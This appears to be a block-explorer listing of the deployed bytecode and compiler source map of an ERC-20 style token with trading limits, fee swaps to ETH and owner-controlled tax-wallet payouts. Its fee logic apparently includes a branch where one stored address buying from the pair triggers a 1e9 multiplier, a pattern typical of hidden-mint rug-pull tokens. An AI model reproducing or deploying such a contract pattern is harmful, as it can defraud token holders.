6d9836fd9333cc54600154919261040792909161040191906108eb565b906108eb565b905090565b5f6104188484846108f6565b610469843361046485604051806060016040528060288152602001611702602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d91565b6107c8565b5060015b9392505050565b6014546001600160a01b0316331461048a575f80fd5b305f908152600260205260409020546104a290610dbc565b60405133904780156108fc02915f818181858888f193505050501580156104cb573d5f803e3d5ffd5b50565b6104d6610f0c565b6104df5f610f65565b565b6104e9610f0c565b6001546016819055601755565b5f6103923384846108f6565b61050a610f0c565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057e919061158d565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105dd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610601919061158d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f919061158d565b600680546001600160a01b0319166001600160a01b0392831617905560055460015461069e92309216906107c8565b6005546001600160a01b031663f305d71934306106cf816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b81526004016106f4969594939291906115a8565b60606040518083038185885af1158015610710573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073591906115e3565b50506006805460ff60a01b1916600160a01b17905550565b610755610f0c565b6001600160a01b0381166107bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6104cb81610f65565b6001600160a01b03831661082a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b6565b6001600160a01b03821661088b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b6565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61046d8284611622565b6001600160a01b03831661095a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b6565b6001600160a01b0382166109bc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b6565b6001600160a01b0383165f90815260026020526040902054811115610a3d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107b6565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a7d57506001600160a01b0382165f9081526004602052604090205460ff16155b15610acb57600654600160a01b900460ff16610acb5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b60448201526064016107b6565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b0b57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b2557506006546001600160a01b03838116911614155b8015610b3c57506001600160a01b03821661dead14155b15610bb4576017546001600160a01b0383165f90815260026020526040902054610b669083610fb4565b1115610bb45760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107b6565b60165481111580610bdc57506001600160a01b0383165f9081526004602052604090205460ff165b80610bfe57506001600160a01b0382165f9081526004602052604090205460ff165b610c3e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107b6565b6006546001600160a01b038381169116148015610c7357506001600160a01b0383165f9081526004602052604090205460ff16155b15610c9057600160075f828254610c8a9190611635565b90915550505b610c9a8383610fbf565b15610caf57610caa600a54611045565b5f6007555b6001600160a01b0383165f90815260026020526040902054610cd190826108eb565b6001600160a01b0384165f90815260026020526040812091909155610cf684846111c9565b610d005781610d0b565b610d0b84848461120d565b6001600160a01b0384165f90815260026020526040902054909150610d309082610fb4565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d839085815260200190565b60405180910390a350505050565b5f8184841115610db45760405162461bcd60e51b81526004016107b69190611474565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610def57610def611648565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6a919061158d565b81600181518110610e7d57610e7d611648565b6001600160a01b039283166020918202929092010152600554610ea391309116846107c8565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610edb9085905f9086903090429060040161165c565b5f604051808303815f87803b158015610ef2575f80fd5b505af1158015610f04573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61046d8284611635565b6008545f9060ff16158015610fdd5750600654600160a81b900460ff165b8015610ff25750600654600160a01b900460ff165b801561101657506001600160a01b0383165f9081526004602052604090205460ff16155b801561102f57506006546001600160a01b038381169116145b801561046d575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110849360029361107e939192611078928391610fb4565b90610fb4565b90611375565b90505f6110a6826110a0600c548661137590919063ffffffff16565b90611380565b90505f6110b384836108eb565b9050476110bf82610dbc565b5f6110ca47836108eb565b90505f6110ec6110e5600c54886108eb90919063ffffffff16565b8390611380565b90505f611104600c548361137590919063ffffffff16565b9050801561111657611116868261138b565b600d545f9061112a9061107e856002611375565b90508015611173576014546001600160a01b03166108fc61114c8360026116cb565b6040518115909202915f818181858888f19350505050158015611171573d5f803e3d5ffd5b505b4780156111b3576014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111b1573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff1615801561046d5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f80611219858561142a565b111561136e575f61123b61122d868661142a565b60135461107e908690611380565b6006549091506001600160a01b03868116911614801561126857506015546001600160a01b038581169116145b156112915761127b83633b9aca00611375565b6006805460ff60a81b1916600160a81b17905590505b305f908152600260205260409020546112aa9082610fb4565b305f908152600260205260409020556112c661122d868661142a565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161130d91815260200190565b60405180910390a35f600f541180156113305750600f5461132e868661142a565b115b1561135c5761135c3061dead611357600f5461107e6013548961138090919063ffffffff16565b6108f6565b61136683826108eb565b91505061046d565b5092915050565b5f61046d82846116cb565b5f61046d82846116e2565b6005546113a39030906001600160a01b0316846107c8565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926113e292309289925f928392169042906004016115a8565b60606040518083038185885af11580156113fe573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061142391906115e3565b5050505050565b6006545f906001600160a01b039081169083160361144b5750601154610396565b6006546001600160a01b039081169084160361146a5750601054610396565b5060125492915050565b5f6020808352835180828501525f5b8181101561149f57858101830151858201604001528201611483565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104cb575f80fd5b5f80604083850312156114e4575f80fd5b82356114ef816114bf565b946020939093013593505050565b5f805f6060848603121561150f575f80fd5b833561151a816114bf565b9250602084013561152a816114bf565b929592945050506040919091013590565b5f6020828403121561154b575f80fd5b813561046d816114bf565b5f8060408385031215611567575f80fd5b8235611572816114bf565b91506020830135611582816114bf565b809150509250929050565b5f6020828403121561159d575f80fd5b815161046d816114bf565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f606084860312156115f5575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103965761039661160e565b808201808211156103965761039661160e565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116aa5784516001600160a01b031683529383019391830191600101611685565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103965761039661160e565b5f826116fc57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf9005560799e955f53c26e4dd014ecd3995dd859ecc71c901374ca72e89108b64736f6c63430008150033

Deployed Bytecode Sourcemap

6412:8911:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8425:67;;;;;;;;;;-1:-1:-1;8485:5:0;;;;;;;;;;;;-1:-1:-1;;;8485:5:0;;;;8425:67;;;;;;;:::i;:::-;;;;;;;;9035:133;;;;;;;;;;-1:-1:-1;9035:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9035:133:0;1023:187:1;9174:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9174:132:0;1215:177:1;14668:309:0;;;;;;;;;;-1:-1:-1;14668:309:0;;;;;:::i;:::-;;:::i;8575:67::-;;;;;;;;;;-1:-1:-1;8575:67:0;;6634:1;2000:36:1;;1988:2;1973:18;8575:67:0;1858:184:1;10083:197:0;;;;;;;;;;;;;:::i;:::-;;7941:64;;;;;;;;;;;;;;;;8648:103;;;;;;;;;;-1:-1:-1;8648:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8731:18:0;8714:7;8731:18;;;:9;:18;;;;;;;8648:103;4840;;;;;;;;;;;;;:::i;9697:131::-;;;;;;;;;;;;;:::i;7874:60::-;;;;;;;;;;;;;;;;4192:87;;;;;;;;;;-1:-1:-1;4238:7:0;4265:6;-1:-1:-1;;;;;4265:6:0;4192:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4192:87:0;2299:203:1;8498:71:0;;;;;;;;;;-1:-1:-1;8560:7:0;;;;;;;;;;;;-1:-1:-1;;;8560:7:0;;;;8498:71;;6924:19;;;;;;;;;;-1:-1:-1;6924:19:0;;;;-1:-1:-1;;;;;6924:19:0;;;8757:139;;;;;;;;;;-1:-1:-1;8757:139:0;;;;;:::i;:::-;;:::i;9314:375::-;;;:::i;8902:127::-;;;;;;;;;;-1:-1:-1;8902:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9000:18:0;;;8983:7;9000:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8902:127;5098:201;;;;;;;;;;-1:-1:-1;5098:201:0;;;;;:::i;:::-;;:::i;9035:133::-;9110:4;9117:37;9126:10;9138:7;9147:6;9117:8;:37::i;:::-;-1:-1:-1;9162:4:0;9035:133;;;;;:::o;9174:132::-;8731:9;:18;;;;7669:42;9227:7;8731:18;;;;;9244:12;;9227:7;;9244:60;;8731:18;;9244:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9237:67;;9174:132;:::o;14668:309::-;14766:4;14783:36;14793:6;14801:9;14812:6;14783:9;:36::i;:::-;14830:117;14839:6;14847:10;14859:87;14895:6;14859:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14859:19:0;;;;;;:11;:19;;;;;;;;14879:10;14859:31;;;;;;;;;:87;:35;:87::i;:::-;14830:8;:117::i;:::-;-1:-1:-1;14965:4:0;14668:309;;;;;;:::o;10083:197::-;10147:9;;-1:-1:-1;;;;;10147:9:0;10133:10;:23;10125:32;;;;;;10203:4;8714:7;8731:18;;;:9;:18;;;;;;10168:42;;:16;:42::i;:::-;10221:51;;10229:10;;10250:21;10221:51;;;;;;;;;10250:21;10229:10;10221:51;;;;;;;;;;;;;;;;;;;;;10083:197::o;4840:103::-;4078:13;:11;:13::i;:::-;4905:30:::1;4932:1;4905:18;:30::i;:::-;4840:103::o:0;9697:131::-;4078:13;:11;:13::i;:::-;9766:12:::1;::::0;9751::::1;:27:::0;;;9789:16:::1;:31:::0;9697:131::o;8757:139::-;8835:4;8842:40;8852:10;8864:9;8875:6;8842:9;:40::i;9314:375::-;4078:13;:11;:13::i;:::-;9400:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9400:6:0::1;-1:-1:-1::0;;;;;9400:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9382:46:0::1;;9437:4;9444:6;;;;;;;;;-1:-1:-1::0;;;;;9444:6:0::1;-1:-1:-1::0;;;;;9444:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9382:76;::::0;-1:-1:-1;;;;;;9382:76:0::1;::::0;;;;;;-1:-1:-1;;;;;3386:15:1;;;9382:76:0::1;::::0;::::1;3368:34:1::0;3438:15;;3418:18;;;3411:43;3303:18;;9382:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9375:4;:83:::0;;-1:-1:-1;;;;;;9375:83:0::1;-1:-1:-1::0;;;;;9375:83:0;;::::1;;::::0;;9501:6:::1;::::0;-1:-1:-1;9510:12:0;9469:54:::1;::::0;9486:4:::1;::::0;9501:6:::1;::::0;9469:8:::1;:54::i;:::-;9534:6;::::0;-1:-1:-1;;;;;9534:6:0::1;:22;9564:9;9583:4;9590:24;9583:4:::0;-1:-1:-1;;;;;8731:18:0;8714:7;8731:18;;;:9;:18;;;;;;;8648:103;9590:24:::1;9616:1;9619::::0;9622:10:::1;9634:15;9534:116;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9661:13:0::1;:20:::0;;-1:-1:-1;;;;9661:20:0::1;-1:-1:-1::0;;;9661:20:0::1;::::0;;-1:-1:-1;9314:375:0:o;5098:201::-;4078:13;:11;:13::i;:::-;-1:-1:-1;;;;;5187:22:0;::::1;5179:73;;;::::0;-1:-1:-1;;;5179:73:0;;4590:2:1;5179:73:0::1;::::0;::::1;4572:21:1::0;4629:2;4609:18;;;4602:30;4668:34;4648:18;;;4641:62;-1:-1:-1;;;4719:18:1;;;4712:36;4765:19;;5179:73:0::1;;;;;;;;;5263:28;5282:8;5263:18;:28::i;14985:335::-:0;-1:-1:-1;;;;;15078:19:0;;15070:68;;;;-1:-1:-1;;;15070:68:0;;4997:2:1;15070:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;15070:68:0;4795:400:1;15070:68:0;-1:-1:-1;;;;;15157:21:0;;15149:68;;;;-1:-1:-1;;;15149:68:0;;5402:2:1;15149:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;15149:68:0;5200:398:1;15149:68:0;-1:-1:-1;;;;;15228:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15280:32;;1361:25:1;;;15280:32:0;;1334:18:1;15280:32:0;;;;;;;14985:335;;;:::o;1601:98::-;1659:7;1686:5;1690:1;1686;:5;:::i;13314:1346::-;-1:-1:-1;;;;;13411:20:0;;13403:70;;;;-1:-1:-1;;;13403:70:0;;6070:2:1;13403:70:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;13403:70:0;5868:401:1;13403:70:0;-1:-1:-1;;;;;13492:23:0;;13484:71;;;;-1:-1:-1;;;13484:71:0;;6476:2:1;13484:71:0;;;6458:21:1;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:33;6648:19;;13484:71:0;6274:399:1;13484:71:0;-1:-1:-1;;;;;8731:18:0;;8714:7;8731:18;;;:9;:18;;;;;;13574:6;:27;;13566:88;;;;-1:-1:-1;;;13566:88:0;;6880:2:1;13566:88:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:47;7066:19;;13566:88:0;6678:413:1;13566:88:0;-1:-1:-1;;;;;13669:27:0;;;;;;:19;:27;;;;;;;;13668:28;:63;;;;-1:-1:-1;;;;;;13701:30:0;;;;;;:19;:30;;;;;;;;13700:31;13668:63;13665:109;;;13741:13;;-1:-1:-1;;;13741:13:0;;;;13733:39;;;;-1:-1:-1;;;13733:39:0;;7298:2:1;13733:39:0;;;7280:21:1;7337:2;7317:18;;;7310:30;-1:-1:-1;;;7356:18:1;;;7349:43;7409:18;;13733:39:0;7096:337:1;13733:39:0;-1:-1:-1;;;;;13788:27:0;;;;;;:19;:27;;;;;;;;13787:28;:63;;;;-1:-1:-1;;;;;;13820:30:0;;;;;;:19;:30;;;;;;;;13819:31;13787:63;:93;;;;-1:-1:-1;13875:4:0;;-1:-1:-1;;;;;13854:26:0;;;13875:4;;13854:26;;13787:93;:123;;;;-1:-1:-1;;;;;;13884:26:0;;7669:42;13884:26;;13787:123;13784:237;;;13968:16;;-1:-1:-1;;;;;13931:20:0;;;;;;:9;:20;;;;;;:32;;13956:6;13931:24;:32::i;:::-;13930:54;;13922:97;;;;-1:-1:-1;;;13922:97:0;;7640:2:1;13922:97:0;;;7622:21:1;7679:2;7659:18;;;7652:30;7718:32;7698:18;;;7691:60;7768:18;;13922:97:0;7438:354:1;13922:97:0;14049:12;;14039:6;:22;;:53;;;-1:-1:-1;;;;;;14065:27:0;;;;;;:19;:27;;;;;;;;14039:53;:87;;;-1:-1:-1;;;;;;14096:30:0;;;;;;:19;:30;;;;;;;;14039:87;14031:117;;;;-1:-1:-1;;;14031:117:0;;7999:2:1;14031:117:0;;;7981:21:1;8038:2;8018:18;;;8011:30;-1:-1:-1;;;8057:18:1;;;8050:47;8114:18;;14031:117:0;7797:341:1;14031:117:0;14176:4;;-1:-1:-1;;;;;14163:17:0;;;14176:4;;14163:17;:49;;;;-1:-1:-1;;;;;;14185:27:0;;;;;;:19;:27;;;;;;;;14184:28;14163:49;14160:79;;;14235:1;14214:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;14160:79:0;14252:37;14271:6;14279:9;14252:18;:37::i;:::-;14249:97;;;14291:29;14306:13;;14291:14;:29::i;:::-;14342:1;14322:9;:22;14249:97;-1:-1:-1;;;;;14376:17:0;;;;;;:9;:17;;;;;;:29;;14398:6;14376:21;:29::i;:::-;-1:-1:-1;;;;;14356:17:0;;;;;;:9;:17;;;;;:49;;;;14441:32;14366:6;14463:9;14441:13;:32::i;:::-;:78;;14513:6;14441:78;;;14476:34;14484:6;14492:9;14503:6;14476:7;:34::i;:::-;-1:-1:-1;;;;;14553:20:0;;;;;;:9;:20;;;;;;14416:103;;-1:-1:-1;14553:40:0;;14416:103;14553:24;:40::i;:::-;-1:-1:-1;;;;;14530:20:0;;;;;;;:9;:20;;;;;;;:63;;;;14609:43;;;;;;;;;;14637:14;1361:25:1;;1349:2;1334:18;;1215:177;14609:43:0;;;;;;;;13392:1268;13314:1346;;;:::o;2025:240::-;2145:7;2206:12;2198:6;;;;2190:29;;;;-1:-1:-1;;;2190:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2241:5:0;;;2025:240::o;11683:434::-;11773:16;;;11787:1;11773:16;;;;;;;;11749:21;;11773:16;;;;;;;;;;-1:-1:-1;11773:16:0;11749:40;;11818:4;11800;11805:1;11800:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11800:23:0;;;:7;;;;;;;;;;:23;;;;11844:6;;:13;;;-1:-1:-1;;;11844:13:0;;;;:6;;;;;:11;;:13;;;;;11800:7;;11844:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11834:4;11839:1;11834:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11834:23:0;;;:7;;;;;;;;;:23;11900:6;;11868:53;;11885:4;;11900:6;11909:11;11868:8;:53::i;:::-;11932:6;;:177;;-1:-1:-1;;;11932:177:0;;-1:-1:-1;;;;;11932:6:0;;;;:57;;:177;;12004:11;;11932:6;;12046:4;;12073;;12093:15;;11932:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11738:379;11683:434;:::o;4357:132::-;4238:7;4265:6;-1:-1:-1;;;;;4265:6:0;219:10;4421:23;4413:68;;;;-1:-1:-1;;;4413:68:0;;9724:2:1;4413:68:0;;;9706:21:1;;;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;9854:18;;4413:68:0;9522:356:1;5459:191:0;5533:16;5552:6;;-1:-1:-1;;;;;5569:17:0;;;-1:-1:-1;;;;;;5569:17:0;;;;;;5602:40;;5552:6;;;;;;;5602:40;;5533:16;5602:40;5522:128;5459:191;:::o;1495:98::-;1553:7;1580:5;1584:1;1580;:5;:::i;9836:239::-;9947:8;;9922:4;;9947:8;;9946:9;:24;;;;-1:-1:-1;9959:11:0;;-1:-1:-1;;;9959:11:0;;;;9946:24;:41;;;;-1:-1:-1;9974:13:0;;-1:-1:-1;;;9974:13:0;;;;9946:41;:73;;;;-1:-1:-1;;;;;;9992:27:0;;;;;;:19;:27;;;;;;;;9991:28;9946:73;:94;;;;-1:-1:-1;10036:4:0;;-1:-1:-1;;;;;10023:17:0;;;10036:4;;10023:17;9946:94;:121;;;;-1:-1:-1;;10057:10:0;;10044:9;;:23;;;9836:239;-1:-1:-1;;9836:239:0:o;10288:1045::-;7282:8;:15;;-1:-1:-1;;7282:15:0;7293:4;7282:15;;;;;;10425:14:::1;::::0;10407:12:::1;::::0;10383::::1;::::0;7282:8;;10382:66:::1;::::0;10446:1:::1;::::0;10383:57:::1;::::0;10425:14;;10383:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;10382:63:::0;::::1;:66::i;:::-;10359:89;;10459:32;10494:42;10523:12;10494:24;10505:12;;10494:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10459:77:::0;-1:-1:-1;10547:14:0::1;10564:36;:6:::0;10459:77;10564:10:::1;:36::i;:::-;10547:53:::0;-1:-1:-1;10636:21:0::1;10668:24;10547:53:::0;10668:16:::1;:24::i;:::-;10703:20;10726:41;:21;10752:14:::0;10726:25:::1;:41::i;:::-;10703:64;;10778:19;10799:48;10816:30;10833:12;;10816;:16;;:30;;;;:::i;:::-;10799:12:::0;;:16:::1;:48::i;:::-;10778:69;;10858:29;10890;10906:12;;10890:11;:15;;:29;;;;:::i;:::-;10858:61:::0;-1:-1:-1;10933:34:0;;10930:103:::1;;10969:61;10982:24;11008:21;10969:12;:61::i;:::-;11089:12;::::0;11043:20:::1;::::0;11066:36:::1;::::0;:18:::1;:11:::0;11082:1:::1;11066:15;:18::i;:36::-;11043:59:::0;-1:-1:-1;11116:16:0;;11113:66:::1;;11142:9;::::0;-1:-1:-1;;;;;11142:9:0::1;11134:43;11162:14;:12:::0;11175:1:::1;11162:14;:::i;:::-;11134:43;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11113:66;11215:21;11250:28:::0;;11247:79:::1;;11288:9;::::0;11280:44:::1;::::0;-1:-1:-1;;;;;11288:9:0;;::::1;::::0;11280:44;::::1;;;::::0;11308:15;;11288:9:::1;11280:44:::0;11288:9;11280:44;11308:15;11288:9;11280:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11247:79;-1:-1:-1::0;;7302:8:0;:16;;-1:-1:-1;;7302:16:0;;;-1:-1:-1;;;;;;;;10288:1045:0:o;12125:176::-;-1:-1:-1;;;;;12231:27:0;;12206:4;12231:27;;;:19;:27;;;;;;;;12230:28;:63;;;;-1:-1:-1;;;;;;;12263:30:0;;;;;:19;:30;;;;;;;;12262:31;;12125:176;-1:-1:-1;12125:176:0:o;12537:769::-;12623:7;12680:1;12646:31;12659:6;12667:9;12646:12;:31::i;:::-;:35;12643:641;;;12693:17;12713:60;12741:31;12754:6;12762:9;12741:12;:31::i;:::-;12724:11;;12713:23;;:6;;:10;:23::i;:60::-;12795:4;;12693:80;;-1:-1:-1;;;;;;12787:12:0;;;12795:4;;12787:12;:34;;;;-1:-1:-1;12812:9:0;;-1:-1:-1;;;;;12801:20:0;;;12812:9;;12801:20;12787:34;12784:83;;;12833:15;:6;12844:3;12833:10;:15::i;:::-;12849:11;:16;;-1:-1:-1;;;;12849:16:0;-1:-1:-1;;;12849:16:0;;;12823:25;-1:-1:-1;12784:83:0;12922:4;12904:24;;;;:9;:24;;;;;;:39;;12933:9;12904:28;:39::i;:::-;12895:4;12877:24;;;;:9;:24;;;;;:66;12966:60;12994:31;13007:6;13015:9;12994:12;:31::i;12966:60::-;12954:72;;13067:4;-1:-1:-1;;;;;13042:42:0;13051:6;-1:-1:-1;;;;;13042:42:0;;13074:9;13042:42;;;;1361:25:1;;1349:2;1334:18;;1215:177;13042:42:0;;;;;;;;13116:1;13098:7;;:20;:65;;;;;13156:7;;13122:31;13135:6;13143:9;13122:12;:31::i;:::-;:41;13098:65;13095:149;;;13165:77;13183:4;7669:42;13205:36;13233:7;;13205:23;13216:11;;13205:6;:10;;:23;;;;:::i;:36::-;13165:9;:77::i;:::-;13261:21;:6;13272:9;13261:10;:21::i;:::-;13254:28;;;;;12643:641;-1:-1:-1;13292:6:0;12537:769;-1:-1:-1;;12537:769:0:o;1707:98::-;1765:7;1792:5;1796:1;1792;:5;:::i;1813:98::-;1871:7;1898:5;1902:1;1898;:5;:::i;11341:334::-;11454:6;;11422:53;;11439:4;;-1:-1:-1;;;;;11454:6:0;11463:11;11422:8;:53::i;:::-;11486:6;;11627:9;;11486:181;;-1:-1:-1;;;11486:181:0;;-1:-1:-1;;;;;11486:6:0;;;;:22;;11516:9;;11486:181;;11549:4;;11569:11;;11486:6;;;;11627:9;;11651:15;;11486:181;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11341:334;;:::o;12309:220::-;12425:4;;12389:7;;-1:-1:-1;;;;;12425:4:0;;;12412:17;;;;12409:38;;-1:-1:-1;12438:7:0;;12431:14;;12409:38;12470:4;;-1:-1:-1;;;;;12470:4:0;;;12460:14;;;;12457:36;;-1:-1:-1;12483:8:0;;12476:15;;12457:36;-1:-1:-1;12510:11:0;;12309:220;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:251::-;2970:6;3023:2;3011:9;3002:7;2998:23;2994:32;2991:52;;;3039:1;3036;3029:12;2991:52;3071:9;3065:16;3090:31;3115:5;3090:31;:::i;3465:607::-;-1:-1:-1;;;;;3824:15:1;;;3806:34;;3871:2;3856:18;;3849:34;;;;3914:2;3899:18;;3892:34;;;;3957:2;3942:18;;3935:34;;;;4006:15;;;4000:3;3985:19;;3978:44;3786:3;4038:19;;4031:35;;;;3755:3;3740:19;;3465:607::o;4077:306::-;4165:6;4173;4181;4234:2;4222:9;4213:7;4209:23;4205:32;4202:52;;;4250:1;4247;4240:12;4202:52;4279:9;4273:16;4263:26;;4329:2;4318:9;4314:18;4308:25;4298:3